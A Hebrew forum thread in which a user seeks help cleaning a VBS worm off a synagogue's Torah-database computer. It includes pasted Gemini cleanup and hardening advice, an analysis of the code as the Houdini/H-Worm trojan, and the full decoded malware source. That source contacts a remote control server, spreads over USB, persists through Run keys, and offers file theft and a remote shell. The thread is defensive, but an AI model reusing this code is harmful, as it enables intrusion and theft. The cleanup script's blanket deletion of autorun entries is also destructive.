                  לחץ על הקובץ ששמרת קליק ימני ובחר "הפעל כמנהל" (Run as Administrator).

                  הקוד לניקוי המחשב:
                  קטע קוד
                  @echo off
                  color 0A
                  echo Stopping Virus Process...
                  taskkill /F /IM wscript.exe /T

                  echo.
                  echo Deleting Virus Files...
                  del /F /Q "%temp%*.vbs"
                  del /F /Q "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup*.vbs"

                  echo.
                  echo Cleaning Registry Keys...
                  reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /va /f
                  reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /va /f

                  echo.
                  echo Restoration Complete.
                  echo Please check your USB drives separately using the 'attrib' command.
                  pause
                  מה הקוד הזה עושה בפועל?
                  taskkill: מפסיק מיד את המנוע שמריץ את הווירוס (wscript).

                  del: מוחק קבצי VBS חשודים מתיקיית הזמניים ומתיקיית ההפעלה האוטומטית.

                  reg delete: מנקה את רשימת התוכנות שעולות עם המחשב כדי שהווירוס לא יחזור אחרי הפעלה מחדש.

                  [!CAUTION]
                  שים לב: הפקודה reg delete עם הפרמטר /va מוחקת את כל התוכנות שעולות אוטומטית למשתמש הנוכחי. זה אומר שאם יש תוכנות לגיטימיות (כמו דרייבר של מדפסת או WhatsApp) שעולות עם המחשב, תצטרך להפעיל אותן ידנית פעם אחת כדי שיחזרו לרשימה, או פשוט להשאיר אותן כך. במחשב של "אוצר החכמה" זה לרוב צעד בטוח ונחוץ.

                  טיפול בכונני ה-USB (הדיסק-און-קי):
                  אחרי שהרצת את הקובץ למעלה והמחשב "נקי", חבר את הכונן הנגוע והרצ את הפקודה הזו בתוך חלון ה-CMD (שורת הפקודה):
                  attrib -h -r -s /s /d X:*.*
                  (החלף את האות X באות של הכונן שלך).

                  זה יחזיר את כל התיקיות שהווירוס הסתיר. לאחר מכן, פשוט מחק ידנית מהכונן כל קובץ עם סיומת .vbs וכל קיצור דרך שנראה כמו תיקייה.

                  האם תרצה שאסביר לך איך לחסום את המחשב מהרצת קבצי VBS בעתיד כדי שהווירוס לא יוכל לחזור לעולם?

                  אמרת
                  כן

                  ‫Gemini אמר
                  כדי למנוע מה"בור" הזה להיפתח שוב בלב בית הכנסת, הדרך הכי טובה היא פשוט להוציא לסקריפטים האלו את ה"מנוע" מהחשמל. ברגע שנחסום את היכולת של המחשב להריץ קבצי VBS, גם אם מישהו יחבר דיסק-און-קי נגוע וילחץ על כל קיצורי הדרך שבעולם – שום דבר לא יקרה.

                  הנה שתי דרכים לעשות זאת, מהקלה והבטוחה ועד היסודית ביותר:

                  אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
                  בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.

                  צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).

                  לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).

                  בחר ב-"פנקס רשימות" (Notepad).

                  חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".

                  לחץ על אישור.

                  התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.

                  אפשרות ב': חסימה מוחלטת דרך הרישום (Registry)
                  זו שיטה "חזקה" יותר שמנטרלת את המנוע שמריץ סקריפטים (Windows Script Host) לחלוטין.

                  לחץ על מקש הלווינדוס + R, הקלד regedit ולחץ Enter.

                  נווט לנתיב הבא (תוכל להעתיק ולהדביק בשורת הכתובת למעלה):
                  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings

                  בצד ימין (או שמאל, תלוי בשפת המערכת), לחץ קליק ימני על שטח ריק -> New (חדש) -> DWORD (32-bit) Value.

                  קרא לערך החדש בשם: Enabled.

                  וודא שהערך שלו הוא 0 (זה ברירת המחדל).

                  סגור את הרישום והפעל מחדש את המחשב.

                  התוצאה: אם מישהו ינסה להריץ סקריפט, ווינדוס יקפיץ הודעה ש"הגישה ל-Windows Script Host חסומה במחשב זה". זהו סוף פסוק לווירוסי VBS.

                  טיפ קטן לגבאי / אחראי המחשב:
                  מכיוון שהמחשב של "אוצר החכמה" הוא יעד קבוע לדיסק-און-קי מכל הסוגים, כדאי להדביק מדבקה קטנה על המסך: "נא לא להכניס דיסק-און-קי שלא נבדק" – למרות שעם החסימה שעשינו עכשיו, אתם הרבה יותר מוגנים.

                  [!NOTE]
                  אם בעתיד תצטרכו להתקין עדכון של "אוצר החכמה" שמשתמש בסקריפטים (נדיר, אבל קורה), תצטרכו להחזיר את הערך Enabled ל-1 באופן זמני.

                  ה תגובה 1 תגובה אחרונה
                  -1
                  • א אור אור אור

                    @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                    וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה,

                    אני מקווה שזה בסדר. אני מעלה מה ג'מיני כתב לי על ההסבר של הקוד.
                    הקוד ששיתפת הוא דוגמה קלאסית לתוכנה זדונית מסוג Remote Access Trojan (RAT) (סוס טרויאני לשליטה מרחוק), המוכרת בקהילת אבטחת המידע בשם "Houdini" או "H-Worm".

                    זהו סקריפט הכתוב בשפת VBScript שנועד לאפשר לתוקף לשלוט במחשב מרחוק, לגנוב מידע ולהפיץ את עצמו הלאה. להלן ניתוח של הפעולות העיקריות שהקוד מבצע:

                    1. יצירת קשר עם "שרת שליטה ובקרה" (C2)
                      בראש הקוד מופיעים המשתנים host ו-port:

                    Host: khattab.no-ipbiz

                    Port: 5550
                    הסקריפט מנסה להתחבר לכתובת הזו כדי לקבל פקודות מהתוקף ולשלוח אליו מידע שנאסף מהמחשב שלך.

                    1. איסוף מידע (Reconnaissance)
                      הפונקציה information אוספת נתונים רגישים על המחשב ושולחת אותם לתוקף, כולל:

                    שם המחשב ושם המשתמש.

                    מספר סידורי של הדיסק הקשיח (HWID) כדי לזהות את המחשב הייחודי.

                    גרסת מערכת ההפעלה.

                    בדיקת אנטי-וירוס: הקוד בודק אילו תוכנות אבטחה מותקנות על המחשב כדי לנסות לעקוף אותן.

                    1. מנגנון הפצה (USB Spreading)
                      אחד החלקים הבעייתיים ביותר בקוד הוא ה-sub install. הוא סורק את כל הכוננים המחוברים למחשב (במיוחד דיסק-און-קי):

                    הוא מעתיק את עצמו לכונן ומסתיר את הקבצים האמיתיים של המשתמש.

                    הוא יוצר קיצורי דרך מטעים (LNK files) שנראים כמו התיקיות המקוריות.

                    ברגע שמשתמש תמים לוחץ על קיצור הדרך במחשב אחר, הסקריפט מורץ והמחשב החדש נדבק.

                    1. יכולות שליטה מרחוק
                      הקוד מכיל "תפריט" פקודות (Case Statement) שהתוקף יכול להפעיל מרחוק:

                    execute: הרצת קוד VBScript ישירות בזיכרון.

                    send/recv: הורדת קבצים מהאינטרנט למחשב שלך או העלאת קבצים פרטיים מהמחשב לתוקף.

                    enum-process: צפייה בכל התוכנות שרצות כרגע במחשב.

                    cmd-shell: פתיחת "שורת פקודה" (Terminal) שמאפשרת לתוקף להריץ כל פקודת מערכת.

                    update/uninstall: עדכון הגרסה של הווירוס או מחיקה שלו כדי להעלים ראיות.

                    1. הישרדות במערכת (Persistence)
                      הפונקציה upstart דואגת שהסקריפט ירוץ בכל פעם שהמחשב נדלק על ידי רישום שלו ב-Windows Registry (תחת מפתח ה-Run) והעתקה שלו לתיקיית ה-Startup.

                    [!CAUTION]
                    שורה תחתונה: מדובר בכלי פריצה מסוכן. אם נתקלת בקוד הזה על מחשב מסוים, המשמעות היא שהמחשב ככל הנראה נפרץ והתוקף יכול לראות הכל, לגנוב קבצים ואף להשתמש במצלמה או במקלדת (בהינתן פקודות נוספות).

                    cfopuserC מנותק
                    cfopuserC מנותק
                    cfopuser
                    כתב נערך לאחרונה על ידי cfopuser
                    #27

                    @אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                    אני מקווה שזה בסדר.

                    זה לא,
                    מהסיבה הפשוטה שלכולם יש גישה לai,
                    אז חוץ מלהסתיר ולמלאות את כול המסך לגוללים לא הרווחנו כלום.

                    בנוסף זה מנוגד לחוקי הפורום,

                    מטרת הפורום היא לתת תשובה מדויקת ומקצועית לשואל על-פי המידע והניסיון האישי של המשתמשים העונים, ולכן אין להגיב לשואל במענה ממנוע בינה מלאכותית כמו "צ'אט GPT" וכד', השואל יכול לעשות זאת בעצמו ולא לשם כך הוא פתח את הנושא, כמו כן אין להעלות פוסטים משלכם שנוסחו ע"י בינה מלאכותית, זה מספים ומוריד את הרמה, בפרט אם זה עם המון מלל או אימוג'ים.

                    ה תגובה 1 תגובה אחרונה
                    3
                    • cfopuserC cfopuser

                      @אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                      אני מקווה שזה בסדר.

                      זה לא,
                      מהסיבה הפשוטה שלכולם יש גישה לai,
                      אז חוץ מלהסתיר ולמלאות את כול המסך לגוללים לא הרווחנו כלום.

                      בנוסף זה מנוגד לחוקי הפורום,

                      מטרת הפורום היא לתת תשובה מדויקת ומקצועית לשואל על-פי המידע והניסיון האישי של המשתמשים העונים, ולכן אין להגיב לשואל במענה ממנוע בינה מלאכותית כמו "צ'אט GPT" וכד', השואל יכול לעשות זאת בעצמו ולא לשם כך הוא פתח את הנושא, כמו כן אין להעלות פוסטים משלכם שנוסחו ע"י בינה מלאכותית, זה מספים ומוריד את הרמה, בפרט אם זה עם המון מלל או אימוג'ים.

                      ה מנותק
                      ה מנותק
                      הישבשר המלומד
                      כתב נערך לאחרונה על ידי
                      #28
                      פוסט זה נמחק!
                      תגובה 1 תגובה אחרונה
                      0
                      • א מנותק
                        א מנותק
                        אור אור אור
                        כתב נערך לאחרונה על ידי
                        #29

                        חבל מאד שאין לי אפשרות לצ'אט עמו.
                        אני מתכוין בל"נ למחוק את זה מייד כשהוא יראה.
                        אגב, זה פשוט מרתק לראות איך הקוד עובד, ביקשתי פירוט וזה היה מעניין.
                        אני לא מעלה את זה פה, כי יש פה גאוני תיכנות שזה בשבילם שטויות.
                        ובאמת כל אחד כמעט יכול לבדוק בעצמו...

                        תגובה 1 תגובה אחרונה
                        1
                        • A מנותק
                          A מנותק
                          AMDesign
                          כתב נערך לאחרונה על ידי
                          #30

                          @רנדומלי
                          למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
                          ואולי אפילו גרסה בתשלום אם זה מתאפשר....

                          ת כ 2 תגובות תגובה אחרונה
                          1
                          • A AMDesign

                            @רנדומלי
                            למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
                            ואולי אפילו גרסה בתשלום אם זה מתאפשר....

                            ת מנותק
                            ת מנותק
                            תלמידהון
                            כתב נערך לאחרונה על ידי תלמידהון
                            #31

                            @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                            למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,

                            לפי איזה פרמטר הוא יותר חזק?
                            דיפנדר טוב מאוד וחינמי

                            A תגובה 1 תגובה אחרונה
                            0
                            • ת תלמידהון

                              @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                              למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,

                              לפי איזה פרמטר הוא יותר חזק?
                              דיפנדר טוב מאוד וחינמי

                              A מנותק
                              A מנותק
                              AMDesign
                              כתב נערך לאחרונה על ידי
                              #32

                              @תלמידהון
                              למען האמת שאין לי מושג באמת (משתמש במק שלא מצוי כ״כ וירוסים אז אין לי אנטי וירוס) אבל כך ידוע שאיסט הכי טוב.
                              דיפנדר מנסיון העבר (הלא רחוק, ובהווה לפעמים) לא משהו.

                              מתכנת חובבמ תגובה 1 תגובה אחרונה
                              0
                              • A AMDesign

                                @רנדומלי
                                למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
                                ואולי אפילו גרסה בתשלום אם זה מתאפשר....

                                כ מנותק
                                כ מנותק
                                כככככ
                                כתב נערך לאחרונה על ידי
                                #33

                                @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                רנדומלי
                                למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
                                ואולי אפילו גרסה בתשלום אם זה מתאפשר

                                סתם שאלה אין פה בפורום eset פרוץ שאתה כותב לו שיעשה בתשלום

                                cfopuserC תגובה 1 תגובה אחרונה
                                0
                                • כ כככככ

                                  @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                  רנדומלי
                                  למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
                                  ואולי אפילו גרסה בתשלום אם זה מתאפשר

                                  סתם שאלה אין פה בפורום eset פרוץ שאתה כותב לו שיעשה בתשלום

                                  cfopuserC מנותק
                                  cfopuserC מנותק
                                  cfopuser
                                  כתב נערך לאחרונה על ידי cfopuser
                                  #34

                                  @כככככ anti virus פרוץ אתה לא רואה את הסתירה פה?

                                  יש מקורות אמינים לתוכנות פרוצות אבל עדיף להשאר בטוח ביחוד בדברים כאלו.

                                  תגובה 1 תגובה אחרונה
                                  1
                                  • ר רנדומלי

                                    בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                                    cmd /c hrxxryydxo.vbs && start explorer [file name]
                                    

                                    הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                                    לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                                    תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                                    לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                                    z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                                    

                                    בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                                    לאחר פיענוח הקידוד התקבל הקוד הבא:
                                    אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                                    e
                                    '<[ recoder : houdini (c) skype : houdini-fx ]>
                                    
                                    '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                                    
                                    host = "khattab.no-ip.biz"
                                    port = 5550
                                    installdir = "%temp%"
                                    lnkfile = true
                                    lnkfolder = true
                                    
                                    '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                                    
                                    dim shellobj 
                                    set shellobj = wscript.createobject("wscript.shell")
                                    dim filesystemobj
                                    set filesystemobj = createobject("scripting.filesystemobject")
                                    dim httpobj
                                    set httpobj = createobject("msxml2.xmlhttp")
                                    
                                    '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                                    
                                    installname = wscript.scriptname
                                    startup = shellobj.specialfolders ("startup") & "\"
                                    installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                                    if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                                    spliter = "<" & "|" & ">"
                                    sleep = 5000 
                                    dim response
                                    dim cmd
                                    dim param
                                    info = ""
                                    usbspreading = ""
                                    startdate = ""
                                    dim oneonce
                                    
                                    '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                                    on error resume next
                                    
                                    instance
                                    while true
                                    
                                    install
                                    
                                    response = ""
                                    response = post ("is-ready","")
                                    cmd = split (response,spliter)
                                    select case cmd (0)
                                    case "excecute"
                                          param = cmd (1)
                                          execute param
                                    case "update"
                                          param = cmd (1)
                                          oneonce.close
                                          set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                                          oneonce.write param
                                          oneonce.close
                                          shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                                          wscript.quit 
                                    case "uninstall"
                                          uninstall
                                    case "send"
                                          download cmd (1),cmd (2)
                                    case "site-send"
                                          sitedownloader cmd (1),cmd (2)
                                    case "recv"
                                          param = cmd (1)
                                          upload (param)
                                    case  "enum-driver"
                                          post "is-enum-driver",enumdriver  
                                    case  "enum-faf"
                                          param = cmd (1)
                                          post "is-enum-faf",enumfaf (param)
                                    case  "enum-process"
                                          post "is-enum-process",enumprocess   
                                    case  "cmd-shell"
                                          param = cmd (1)
                                          post "is-cmd-shell",cmdshell (param)  
                                    case  "delete"
                                          param = cmd (1)
                                          deletefaf (param) 
                                    case  "exit-process"
                                          param = cmd (1)
                                          exitprocess (param) 
                                    case  "sleep"
                                          param = cmd (1)
                                          sleep = eval (param)        
                                    end select
                                    
                                    wscript.sleep sleep
                                    
                                    wend
                                    
                                    sub install
                                    on error resume next
                                    dim lnkobj
                                    dim filename
                                    dim foldername
                                    dim fileicon
                                    dim foldericon
                                    
                                    upstart
                                    for each drive in filesystemobj.drives
                                    
                                    if  drive.isready = true then
                                    if  drive.freespace  > 0 then
                                    if  drive.drivetype  = 1 then
                                        filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                                        if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                            filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                                        end if
                                        for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                            if not lnkfile then exit for
                                            if  instr (file.name,".") then
                                                if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                                    file.attributes = 2+4
                                                    if  ucase (file.name) <> ucase (installname) then
                                                        filename = split(file.name,".")
                                                        set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                                        lnkobj.windowstyle = 7
                                                        lnkobj.targetpath = "cmd.exe"
                                                        lnkobj.workingdirectory = ""
                                                        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                                        fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                                        if  instr (fileicon,",") = 0 then
                                                            lnkobj.iconlocation = file.path
                                                        else 
                                                            lnkobj.iconlocation = fileicon
                                                        end if
                                                        lnkobj.save()
                                                    end if
                                                end if
                                            end if
                                        next
                                        for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                            if not lnkfolder then exit for
                                            folder.attributes = 2+4
                                            foldername = folder.name
                                            set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                            lnkobj.windowstyle = 7
                                            lnkobj.targetpath = "cmd.exe"
                                            lnkobj.workingdirectory = ""
                                            lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                            foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                            if  instr (foldericon,",") = 0 then
                                                lnkobj.iconlocation = folder.path
                                            else 
                                                lnkobj.iconlocation = foldericon
                                            end if
                                            lnkobj.save()
                                        next
                                    end If
                                    end If
                                    end if
                                    next
                                    err.clear
                                    end sub
                                    
                                    sub uninstall
                                    on error resume next
                                    dim filename
                                    dim foldername
                                    
                                    shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                                    shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                                    filesystemobj.deletefile startup & installname ,true
                                    filesystemobj.deletefile wscript.scriptfullname ,true
                                    
                                    for  each drive in filesystemobj.drives
                                    if  drive.isready = true then
                                    if  drive.freespace  > 0 then
                                    if  drive.drivetype  = 1 then
                                        for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                             on error resume next
                                             if  instr (file.name,".") then
                                                 if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                                     file.attributes = 0
                                                     if  ucase (file.name) <> ucase (installname) then
                                                         filename = split(file.name,".")
                                                         filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                                     else
                                                         filesystemobj.deletefile (drive.path & "\" & file.name)
                                                     end If
                                                 else
                                                     filesystemobj.deletefile (file.path) 
                                                 end if
                                             end if
                                         next
                                         for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                             folder.attributes = 0
                                         next
                                    end if
                                    end if
                                    end if
                                    next
                                    wscript.quit
                                    end sub
                                    
                                    function post (cmd ,param)
                                    
                                    post = param
                                    httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                                    httpobj.setrequestheader "user-agent:",information
                                    httpobj.send param
                                    post = httpobj.responsetext
                                    end function
                                    
                                    function information
                                    on error resume next
                                    if  inf = "" then
                                        inf = hwid & spliter 
                                        inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                                        inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                                    
                                        set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                        set os = root.execquery ("select * from win32_operatingsystem")
                                        for each osinfo in os
                                           inf = inf & osinfo.caption & spliter  
                                           exit for
                                        next
                                        inf = inf & "plus" & spliter
                                        inf = inf & security & spliter
                                        inf = inf & usbspreading
                                        information = inf  
                                    else
                                        information = inf
                                    end if
                                    end function
                                    
                                    sub upstart ()
                                    on error resume Next
                                    
                                    shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                                    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                                    filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                                    filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                                    
                                    end sub
                                    
                                    function hwid
                                    on error resume next
                                    
                                    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                    set disks = root.execquery ("select * from win32_logicaldisk")
                                    for each disk in disks
                                        if  disk.volumeserialnumber <> "" then
                                            hwid = disk.volumeserialnumber
                                            exit for
                                        end if
                                    next
                                    end function
                                    
                                    function security 
                                    on error resume next
                                    
                                    security = ""
                                    
                                    set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                    set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                                    for each objitem in colitems
                                        versionstr = split (objitem.version,".")
                                    next
                                    versionstr = split (colitems.version,".")
                                    osversion = versionstr (0) & "."
                                    for  x = 1 to ubound (versionstr)
                                         osversion = osversion &  versionstr (i)
                                    next
                                    osversion = eval (osversion)
                                    if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                                    
                                    set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                                    Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                                    
                                    for each objantivirus in colantivirus
                                        security  = security  & objantivirus.displayname & " ."
                                    next
                                    if security  = "" then security  = "nan-av"
                                    end function
                                    
                                    function instance
                                    on error resume next
                                    
                                    usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                                    if usbspreading = "" then
                                       if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                                          usbspreading = "true - " & date
                                          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                                       else
                                          usbspreading = "false - " & date
                                          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                                    
                                       end if
                                    end If
                                    
                                    
                                    upstart
                                    set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                                    set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                                    if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                                        shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                                        wscript.quit 
                                    end If
                                    err.clear
                                    set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                                    if  err.number > 0 then wscript.quit
                                    end function
                                    
                                    sub sitedownloader (fileurl,filename)
                                    
                                    strlink = fileurl
                                    strsaveto = installdir & filename
                                    set objhttpdownload = createobject("msxml2.xmlhttp" )
                                    objhttpdownload.open "get", strlink, false
                                    objhttpdownload.send
                                    
                                    set objfsodownload = createobject ("scripting.filesystemobject")
                                    if  objfsodownload.fileexists (strsaveto) then
                                        objfsodownload.deletefile (strsaveto)
                                    end if
                                     
                                    if objhttpdownload.status = 200 then
                                       dim  objstreamdownload
                                       set  objstreamdownload = createobject("adodb.stream")
                                       with objstreamdownload
                                            .type = 1 
                                            .open
                                            .write objhttpdownload.responsebody
                                            .savetofile strsaveto
                                            .close
                                       end with
                                       set objstreamdownload = nothing
                                    end if
                                    if objfsodownload.fileexists(strsaveto) then
                                       shellobj.run objfsodownload.getfile (strsaveto).shortpath
                                    end if 
                                    end sub
                                    
                                    sub download (fileurl,filedir)
                                    
                                    if filedir = "" then 
                                       filedir = installdir
                                    end if
                                    
                                    strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                                    set objhttpdownload = createobject("msxml2.xmlhttp")
                                    objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                                    objhttpdownload.send ""
                                         
                                    set objfsodownload = createobject ("scripting.filesystemobject")
                                    if  objfsodownload.fileexists (strsaveto) then
                                        objfsodownload.deletefile (strsaveto)
                                    end if
                                    if  objhttpdownload.status = 200 then
                                        dim  objstreamdownload
                                        set  objstreamdownload = createobject("adodb.stream")
                                        with objstreamdownload 
                                             .type = 1 
                                             .open
                                             .write objhttpdownload.responsebody
                                             .savetofile strsaveto
                                             .close
                                        end with
                                        set objstreamdownload  = nothing
                                    end if
                                    if objfsodownload.fileexists(strsaveto) then
                                       shellobj.run objfsodownload.getfile (strsaveto).shortpath
                                    end if 
                                    end sub
                                    
                                    function upload (fileurl)
                                    
                                    dim  httpobj,objstreamuploade,buffer
                                    set  objstreamuploade = createobject("adodb.stream")
                                    with objstreamuploade 
                                         .type = 1 
                                         .open
                                         .loadfromfile fileurl
                                         buffer = .read
                                         .close
                                    end with
                                    set objstreamdownload = nothing
                                    set httpobj = createobject("msxml2.xmlhttp")
                                    httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                                    httpobj.send buffer
                                    end function
                                    
                                    function enumdriver ()
                                    
                                    for  each drive in filesystemobj.drives
                                    if   drive.isready = true then
                                         enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                                    end if
                                    next
                                    end Function
                                    
                                    function enumfaf (enumdir)
                                    
                                    enumfaf = enumdir & spliter
                                    for  each folder in filesystemobj.getfolder (enumdir).subfolders
                                         enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                                    next
                                    
                                    for  each file in filesystemobj.getfolder (enumdir).files
                                         enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                                    
                                    next
